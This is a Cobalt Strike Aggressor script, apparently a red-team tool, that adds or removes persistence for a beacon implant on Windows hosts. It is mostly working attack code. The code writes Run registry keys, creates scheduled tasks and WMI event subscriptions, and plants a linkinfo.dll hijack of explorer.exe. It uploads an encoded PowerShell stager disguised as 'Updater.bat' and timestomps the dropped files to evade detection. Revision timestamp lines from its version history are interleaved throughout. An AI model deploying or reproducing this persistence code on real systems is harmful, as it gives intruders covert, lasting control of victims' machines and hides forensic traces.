2016-09-30 21:48:05 +00:00
# Added linkinfo.dll hijack
# Added persistence via encoded powershell commands
# To do: Check if this is a 64bit system and alert that file and registry changes may end up in SYSWOW64
# Add fileless persistence via registry only
2016-05-03 22:36:37 +00:00
##################################
2016-09-30 21:48:05 +00:00
### Aggressor Persistence v3.1 ###
2016-05-03 22:36:37 +00:00
### By: Tyler Rosonke ###
### zonksec.com ###
##################################
2016-09-30 21:48:05 +00:00
global('$x64');
2016-05-03 22:36:37 +00:00
alias persistence {
########### Add Menu #############
if ($2 eq "Add"){
if ($3 eq "RegKeyRun") {
addRegKeyRun($1,$2,$3,$4,$5,$6);
}
else if ($3 eq "SchTasks"){
if ($4 eq "OnIdle") {
addSchTasksOnIdle($1,$2,$3,$4,$5,$6);
}
else if ($4 eq "OnStart") {
addSchTasksOnStart($1,$2,$3,$4,$5,$6);
}
else if ($4 eq "OnLogon") {
addSchTasksOnLogon($1,$2,$3,$4,$5,$6);
}
else if ($4 eq "OnTime") {
addSchTasksOnTime($1,$2,$3,$4,$5,$6);
}
else {
berror($1, "Specify OnIdle, OnStart, OnLogon, or OnTime.");
}
}
else if ($3 eq "WMI"){
if ($4 eq "OnStart"){
addWMIOnStart($1,$2,$3,$4,$5,$6);
}
else if ($4 eq "Daily"){
addWMIDaily($1,$2,$3,$4,$5,$6);
}
else {
berror($1, "Specifiy OnStart or Daily.");
}
}
2016-09-30 21:48:05 +00:00
else if ($3 eq "linkinfo") {
addLinkinfo($1);
}
2016-05-03 22:36:37 +00:00
else {
2016-09-30 21:48:05 +00:00
berror($1, "Specify RegKeyRun, SchTasks, WMI, or linkinfo.");
2016-05-03 22:36:37 +00:00
}
}
2016-09-30 21:48:05 +00:00
2016-05-03 22:36:37 +00:00
########### Remove Menu #############
else if ($2 eq "Remove"){
if ($3 eq "RegKeyRun") {
remRegKeyRun($1,$2,$3,$4,$5,$6);
}
else if ($3 eq "SchTasks"){
if ($4 eq "OnIdle") {
remSchTasksOnIdle($1,$2,$3,$4,$5,$6);
}
else if ($4 eq "OnStart") {
remSchTasksOnStart($1,$2,$3,$4,$5,$6);
}
else if ($4 eq "OnLogon") {
remSchTasksOnLogon($1,$2,$3,$4,$5,$6);
}
else if ($4 eq "OnTime") {
remSchTasksOnTime($1,$2,$3,$4,$5,$6);
}
else {
berror($1, "Specify OnIdle, OnStart, OnLogon, or OnTime.");
}
}
else if ($3 eq "WMI"){
if ($4 eq "OnStart"){
remWMIOnStart($1,$2,$3,$4,$5,$6);
}
else if ($4 eq "Daily"){
remWMIDaily($1,$2,$3,$4,$5,$6);
}
else {
berror($1, "Specifiy OnStart or Daily.");
}
}
else {
berror($1, "Specify RegKeyRun, SchTasks, or WMI.");
}
}
2016-09-30 21:48:05 +00:00
else if ($3 eq "linkinfo") {
remLinkinfo($1);
}
2016-05-03 22:36:37 +00:00
else {
berror($1, "Specify Add or Remove.");
}
2016-09-30 21:48:05 +00:00
}
########### Subroutines #############
sub checkX64 {
if ($1 -is64) {
binput($1, "You're on a 64bit host! Make sure you're running in a 64bit process or file and registry changes may end up in SYSWOW locations and fail to function as intended!");
return true;
2016-05-03 22:36:37 +00:00
}
else {
2016-09-30 21:48:05 +00:00
return false;
2016-05-03 22:36:37 +00:00
}
}
sub uploadPSpayload {
2016-09-30 21:48:05 +00:00
# Improved robustness in cases where you have more than one listener configured (foreign listeners)
# Additionally, this method leverages an encoded command rather than staging via the Powershell download IEX cradle
$availableListeners = listeners();
# Skip listener selection if only 1 exists
if (size($availableListeners()) eq 1) {
$listener = $availableListeners[0];
binput($1, "Persisting listener: $listener");
$data = "@echo off\r\n";
$data = $data . powershell($listener, false);
binput($1, "Attempting to upload persistence file: $2");
bupload_raw($1, $2, $data);
binput($1, "timestomp $2 explorer.exe");
btimestomp($1, $2,'C:\Windows\explorer.exe');
2016-05-03 22:36:37 +00:00
}
2016-09-30 21:48:05 +00:00
# There is likely a better way to select a listener, but this is the quickest method I came up with without modifying the logic of every function to require a listener_name
# Use payload helper function if more than one listener is available
else {
# Store the payloadPath as global variable so it can be accessed by the callback function of &openPayloadHelper
# If you include instructions contingent on the completion of the openPayloadHelper function outside of its callback function,
# those instructions will execute as soon as the payload selection dialog opens and they will fail. This is why some code repeats
global ('$gpayloadPath');
$gpayloadPath = $2;
openPayloadHelper(lambda({
$listener = $1;
binput($bids, "Persisting listener: $listener");
$data = "@echo off\r\n";
$data = $data . powershell($listener, false);
binput($bids, "Attempting to upload persistence file: $gpayloadPath");
bupload_raw($bids, $gpayloadPath, $data);
binput($bids, "timestomp $gpayloadPath explorer.exe");
btimestomp($bids, $gpayloadPath,'C:\Windows\explorer.exe');
}, $bids => $1));
}
2016-05-03 22:36:37 +00:00
}
sub isAdmin {
return iff( right(beacon_info($1, "user"), 2) eq " *" , true, false);
}
sub addRegKey
{
$powershell = "New-ItemProperty -Path " . $hive . ":" . $keyPath . " -Name " . $keyName . " -PropertyType String -Value " . $payloadPath;
bpowershell($1, $powershell);
}
sub remRegKey
{
$powershell = "Remove-ItemProperty -Path " . $hive . ":" . $keyPath . " -Name " . $keyName;
bpowershell($1, $powershell);
}
sub addRegKeyRun {
if ($4) {
$payloadName = $4;
$keyName = $4;
}
else {
$payloadName = "Updater";
$keyName = "Updater";
}
if (isAdmin($1)){
$payloadPath = "C:\\Windows\\System32\\" . $payloadName . ".bat";
$hive = "HKLM";
}
else {
$payloadPath = "C:\\Users\\Public\\" . $payloadName . ".bat";
$hive = "HKCU";
}
$keyPath = "\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\";
addRegKey($1,$hive,$keyPath,$keyName,$payloadPath);
2016-09-30 21:48:05 +00:00
uploadPSpayload($1,$payloadPath);
2016-05-03 22:36:37 +00:00
}
sub remRegKeyRun {
if ($4) {
$payloadName = $4;
$keyName = $4;
}
else {
$payloadName = "Updater";
$keyName = "Updater";
}
if (isAdmin($1)){
$payloadPath = "C:\\Windows\\System32\\" . $payloadName . ".bat";
$hive = "HKLM";
}
else {
$payloadPath = "C:\\Users\\Public\\" . $payloadName . ".bat";
$hive = "HKCU";
}
$keyPath = "\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\";
$command = "del " . $payloadPath;
bshell($1,$command );
remRegKey($1,$keyName);
}
sub addSchTasksOnIdle {
if ($5) {
if ($6) {
$payloadName = $6;
$taskName = $6;
}
else {
$payloadName = "Updater";
$taskName = "Updater";
}
if (isAdmin($1)){
$payloadPath = "C:\\Windows\\System32\\" . $payloadName . ".bat";
}
else {
$payloadPath = "C:\\Users\\Public\\" . $payloadName . ".bat";
}
$powershellcmd = "schtasks /create /tn " . $taskName . " /tr " . $payloadPath . " /sc onidle /i " . $5;
bpowershell($1,$powershellcmd);
uploadPSpayload($1,$payloadPath);
}
else {
berror($1, "Specify number idle time.");
}
}
sub remSchTasksOnIdle {
if ($5) {
if ($6) {
$payloadName = $6;
$taskName = $6;
}
else {
$payloadName = "Updater";
$taskName = "Updater";
}
if (isAdmin($1)){
$payloadPath = "C:\\Windows\\System32\\" . $payloadName . ".bat";
}
else {
$payloadPath = "C:\\Users\\Public\\" . $payloadName . ".bat";
}
$powershellcmd = "schtasks /delete /f /tn " . $taskName;
bpowershell($1,$powershellcmd);
$command = "del " . $payloadPath;
bshell($1,$command );
}
else {
berror($1, "Specify number idle time.");
}
}
sub addSchTasksOnStart {
if (isAdmin($1)){
if ($5) {
$payloadName = $5;
$taskName = $5;
}
else {
$payloadName = "Updater";
$taskName = "Updater";
}
if (isAdmin($1)){
$payloadPath = "C:\\Windows\\System32\\" . $payloadName . ".bat";
}
else {
$payloadPath = "C:\\Users\\Public\\" . $payloadName . ".bat";
}
$powershellcmd = "schtasks /create /tn " . $taskName . " /tr " . $payloadPath . " /sc onstart";
bpowershell($1,$powershellcmd);
uploadPSpayload($1,$payloadPath);
}
else {
berror($1, "Admin is needed for SchTasks OnStart.")
}
}
sub remSchTasksOnStart {
if (isAdmin($1)){
if ($5) {
$payloadName = $5;
$taskName = $5;
}
else {
$payloadName = "Updater";
$taskName = "Updater";
}
if (isAdmin($1)){
$payloadPath = "C:\\Windows\\System32\\" . $payloadName . ".bat";
}
else {
$payloadPath = "C:\\Users\\Public\\" . $payloadName . ".bat";
}
$powershellcmd = "schtasks /delete /f /tn " . $taskName;
bpowershell($1,$powershellcmd);
$command = "del " . $payloadPath;
bshell($1,$command );
}
else {
berror($1, "Admin is needed for SchTasks OnStart.")
}
}
sub addSchTasksOnLogon {
if (isAdmin($1)){
if ($5) {
$payloadName = $5;
$taskName = $5;
}
else {
$payloadName = "Updater";
$taskName = "Updater";
}
if (isAdmin($1)){
$payloadPath = "C:\\Windows\\System32\\" . $payloadName . ".bat";
}
else {
$payloadPath = "C:\\Users\\Public\\" . $payloadName . ".bat";
}
$powershellcmd = "schtasks /create /tn " . $taskName . " /tr " . $payloadPath . " /sc ONLOGON";
bpowershell($1,$powershellcmd);
uploadPSpayload($1,$payloadPath);
}
else {
berror($1, "Admin is needed for SchTasks OnLogon.")
}
}
sub remSchTasksOnLogon {
if (isAdmin($1)){
if ($5) {
$payloadName = $5;
$taskName = $5;
}
else {
$payloadName = "Updater";
$taskName = "Updater";
}
if (isAdmin($1)){
$payloadPath = "C:\\Windows\\System32\\" . $payloadName . ".bat";
}
else {
$payloadPath = "C:\\Users\\Public\\" . $payloadName . ".bat";
}
$powershellcmd = "schtasks /delete /f /tn " . $taskName;
bpowershell($1,$powershellcmd);
$command = "del " . $payloadPath;
bshell($1,$command );
}
else {
berror($1, "Admin is needed for SchTasks OnStart.")
}
}
sub addSchTasksOnTime {
if ($5 eq "Hourly" || $5 eq "Daily" || $5 eq "Weekly" || $5 eq "Monthly") {
if ($6) {
$payloadName = $6;
$taskName = $6;
}
else {
$payloadName = "Updater";
$taskName = "Updater";
}
if (isAdmin($1)){
$payloadPath = "C:\\Windows\\System32\\" . $payloadName . ".bat";
}
else {
$payloadPath = "C:\\Users\\Public\\" . $payloadName . ".bat";
}
$powershellcmd = "schtasks /create /tn " . $taskName . " /tr " . $payloadPath . " /sc " . $5;
bpowershell($1,$powershellcmd);
uploadPSpayload($1,$payloadPath);
}
else {
berror($1, "Specify Hourly, Daily, Weekly, or Monthly.");
}
}
sub remSchTasksOnTime {
if ($5 eq "Hourly" || $5 eq "Daily" || $5 eq "Weekly" || $5 eq "Monthly") {
if ($6) {
$payloadName = $6;
$taskName = $6;
}
else {
$payloadName = "Updater";
$taskName = "Updater";
}
if (isAdmin($1)){
$payloadPath = "C:\\Windows\\System32\\" . $payloadName . ".bat";
}
else {
$payloadPath = "C:\\Users\\Public\\" . $payloadName . ".bat";
}
$powershellcmd = "schtasks /delete /f /tn " . $taskName;
bpowershell($1,$powershellcmd);
$command = "del " . $payloadPath;
bshell($1,$command );
}
else {
berror($1, "Specify Hourly, Daily, Weekly, or Monthly.");
}
}
sub addWMIOnStart {
if (isAdmin($1)){
if ($5) {
$payloadName = $5;
$taskName = $5;
}
else {
$payloadName = "Updater";
$taskName = "Updater";
}
if (isAdmin($1)){
$payloadPath = "C:\\Windows\\System32\\" . $payloadName . ".bat";
}
else {
$payloadPath = "C:\\Users\\Public\\" . $payloadName . ".bat";
}
$powershellcmd = "\$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments @{name='" . $taskName ."';EventNameSpace='root\\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 200 AND TargetInstance.SystemUpTime < 320\"};\$Consumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace \"root\\subscription\" -Arguments @{Name='" . $taskName . "';ExecutablePath='" . $payloadPath ."';CommandLineTemplate ='" . $payloadPath . "'};Set-WmiInstance -Namespace \"root\\subscription\" -Class __FilterToConsumerBinding -Arguments @{Filter=\$Filter;Consumer=\$Consumer};";
bpowershell($1,$powershellcmd);
uploadPSpayload($1,$payloadPath);
}
else {
berror($1, "Admin is needed for WMI.")
}
}
sub remWMIOnStart {
if (isAdmin($1)){
if ($5) {
$payloadName = $5;
$taskName = $5;
}
else {
$payloadName = "Updater";
$taskName = "Updater";
}
if (isAdmin($1)){
$payloadPath = "C:\\Windows\\System32\\" . $payloadName . ".bat";
}
else {
$payloadPath = "C:\\Users\\Public\\" . $payloadName . ".bat";
}
$powershellcmd = "Get-WmiObject __eventFilter -namespace root\\subscription -filter \"name='" . $taskName . "'\"| Remove-WmiObject;Get-WmiObject CommandLineEventConsumer -Namespace root\\subscription -filter \"name='" . $taskName . "'\" | Remove-WmiObject; Get-WmiObject __FilterToConsumerBinding -Namespace root\\subscription | Where-Object { \$_.filter -match '" . $taskName . "'} | Remove-WmiObject;";
bpowershell($1,$powershellcmd);
$command = "del " . $payloadPath;
bshell($1,$command );
}
else {
berror($1, "Admin is needed for WMI.")
}
}
sub addWMIDaily {
if (isAdmin($1)){
if ($5) {
$payloadName = $5;
$taskName = $5;
}
else {
$payloadName = "Updater";
$taskName = "Updater";
}
if (isAdmin($1)){
$payloadPath = "C:\\Windows\\System32\\" . $payloadName . ".bat";
}
else {
$payloadPath = "C:\\Users\\Public\\" . $payloadName . ".bat";
}
$powershellcmd = "\$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments @{name='" . $taskName ."';EventNameSpace='root\\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour = 13 AND TargetInstance.Minute = 00 GROUP WITHIN 60\"};\$Consumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace \"root\\subscription\" -Arguments @{Name='" . $taskName . "';ExecutablePath='" . $payloadPath ."';CommandLineTemplate ='" . $payloadPath . "'};Set-WmiInstance -Namespace \"root\\subscription\" -Class __FilterToConsumerBinding -Arguments @{Filter=\$Filter;Consumer=\$Consumer};";
bpowershell($1,$powershellcmd);
uploadPSpayload($1,$payloadPath);
}
else {
berror($1, "Admin is needed for WMI.")
}
}
sub remWMIDaily {
if (isAdmin($1)){
if ($5) {
$payloadName = $5;
$taskName = $5;
}
else {
$payloadName = "Updater";
$taskName = "Updater";
}
if (isAdmin($1)){
$payloadPath = "C:\\Windows\\System32\\" . $payloadName . ".bat";
}
else {
$payloadPath = "C:\\Users\\Public\\" . $payloadName . ".bat";
}
$powershellcmd = "Get-WmiObject __eventFilter -namespace root\\subscription -filter \"name='" . $taskName . "'\"| Remove-WmiObject;Get-WmiObject CommandLineEventConsumer -Namespace root\\subscription -filter \"name='" . $taskName . "'\" | Remove-WmiObject; Get-WmiObject __FilterToConsumerBinding -Namespace root\\subscription | Where-Object { \$_.filter -match '" . $taskName . "'} | Remove-WmiObject;";
bpowershell($1,$powershellcmd);
$command = "del " . $payloadPath;
bshell($1,$command );
}
else {
berror($1, "Admin is needed for WMI.")
}
}
2016-09-30 21:48:05 +00:00
sub addLinkinfo {
# dll hijack on explorer.exe
if (isAdmin($1)) {
if (-exists script_resource("/payloads/linkinfo.dll")) {
binput($1, "[*] Dropping linkinfo.dll persistence");
bcd($1, 'c:\windows');
bupload($1, script_resource("/payloads/linkinfo.dll"));
btimestomp($1, "linkinfo.dll", 'c:\windows\system32\linkinfo.dll');
}
else {
berror($1, "./payloads/linkinfo.dll not found. Make sure you've created a DLL that matches the target architecture and stored it as ./payloads/linkinfo.dll");
}
}
else {
berror($1, 'Admin or write-access to C:\Windows is needed for linkinfo.dll hijack');
}
}
sub remLinkinfo {
# Remove dll hijack on explorer.exe
if (isAdmin($1)) {
binput($1, "[*] Removing linkinfo.dll persistence");
bcd($1, 'c:\windows');
$command = "del linkinfo.dll";
bshell($1,$command);
}
else {
berror($1, 'Admin or write-access to C:\Windows is needed for linkinfo.dll hijack removal');
}
}
2016-05-03 22:36:37 +00:00
##### Help Menu ######
beacon_command_register(
"persistence",
"add or remove persistence capabilities to a beacon",
"add or remove persistence capabilities to a beacon
Usage: persistence [Add | Remove] [method] [arguments]
Available methods:
RegKeyRun <payload / key name>
SchTasks OnIdle [idle time] <payload / task name>
SchTasks OnTime [Hourly | Daily | Weekly | Monthly] <payload / task name>
*SchTasks OnStart <payload / task name>
*SchTasks OnLogon <payload / task name>
*WMI OnStart <payload / task name>
*WMI Daily <payload / task name>
2016-09-30 21:48:05 +00:00
**linkinfo
2016-05-03 22:36:37 +00:00
* = method needs admin
2016-09-30 21:48:05 +00:00
** = method need admin to install, but executes as USER
2016-05-03 22:36:37 +00:00
[] = requireed argument
<> = optional argument
");
